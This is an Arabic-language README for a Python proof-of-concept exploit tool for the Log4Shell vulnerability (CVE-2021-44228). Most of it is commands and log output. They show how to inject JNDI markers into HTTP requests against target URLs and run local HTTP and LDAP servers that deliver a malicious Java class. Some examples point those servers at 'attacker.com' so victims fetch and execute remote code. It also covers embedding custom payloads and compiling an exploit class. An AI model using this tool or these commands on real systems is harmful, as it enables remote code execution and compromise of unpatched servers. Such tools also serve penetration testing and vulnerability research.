
أداة PoC متكاملة بلغة بايثون خالصة لـ CVE-2021-44228
إثبات مفهوم شامل نقي بلغة بايثون 3 لـ CVE-2021-44228.
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
هذه أداة سطر أوامر. جميع الخيارات موجودة في قائمة المساعدة:
python3 log4rce.py --help
القائمة طويلة جدًا، لذا سيقدم لك التالي ملخصًا للوظائف.
تتيح لك الأداة استخدام عدد قليل من أنماط الهجوم. هذه الهجمات هي امتدادات للفئة Log4RCE.
يمكنك تنفيذ هجوم طلب HTTP آلي على عنوان URL هدف.
يمكنك تنفيذ طلب GET كما يلي:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
يمكنك تنفيذ طلب POST كما يلي:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
السابق سيحقن علامة JNDI في ###.
إذا لم تتمكن من استخدام أي من السابق، استخدم هذا الوضع لإغراق علامة JDNI:
python3 log4rce.py manual
تسمح الأداة بتخصيص واسع لمعظم تكوين الشبكة. يمكن تعديل جميع الخوادم الداخلية للإشارة إلى مواقع مختلفة وفقًا للإعدادات البعيدة.
يمكنك تكوين خادم HTTP باستخدام المعلمات التالية:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
يمكنك تكوين خادم LDAP باستخدام المعلمات التالية:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
تتيح الأداة التعامل مع بعض التخصيص. يسرد التالي بعض الوظائف التي قد تهمك.
يمكنك حقن حمولة في فئة Java باستخدام:
python3 log4rce.py --payload "PAYLOAD"
سيتم حقن الحمولة في سلاسل "###".
يمكنك بناء فئة Java الخاصة بك باستخدام التالي.
javac -source 1.7 -target 1.7 /path/to/Exploit.java
يمكن تشغيل الفئة الناتجة .class باستخدام:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
ملاحظة: يمكنك إضافة سلسلة "###" للسماح بحقن الحمولة.